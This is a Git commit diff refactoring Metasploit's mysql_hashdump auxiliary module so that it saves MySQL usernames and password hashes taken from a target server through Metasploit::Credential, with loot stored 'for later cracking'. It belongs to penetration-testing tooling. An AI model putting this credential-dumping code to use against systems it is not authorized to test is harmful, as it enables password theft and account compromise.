refactor mysql_hashdump

mysql_hashdump now uses Metasploit::Credential to
save hashes.
bug/bundler_fix
David Maloney 2014-06-04 11:59:47 -05:00
parent 201e6e9866
commit d1f7f93e4b
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 23 additions and 23 deletions

View File

@ -37,41 +37,41 @@ class Metasploit3 < Msf::Auxiliary
return
end
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:name => 'mysql',
:proto => 'tcp'
)
service_data = {
address: ::Rex::Socket.getaddress(rhost,true),
port: rport,
service_name: 'mysql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
jtr_format: 'mysql,mysql-sha1',
module_fullname: self.fullname,
private_type: :nonreplayable_hash
}
#create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
credential_data.merge!(service_data)
if res.size > 0
res.each do |row|
tbl << [row[0], row[1]]
credential_data[:username] = row[0]
credential_data[:private_data] = row[1]
print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
end
#Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service)
print_status("Hash Table has been saved: #{path}")
end
end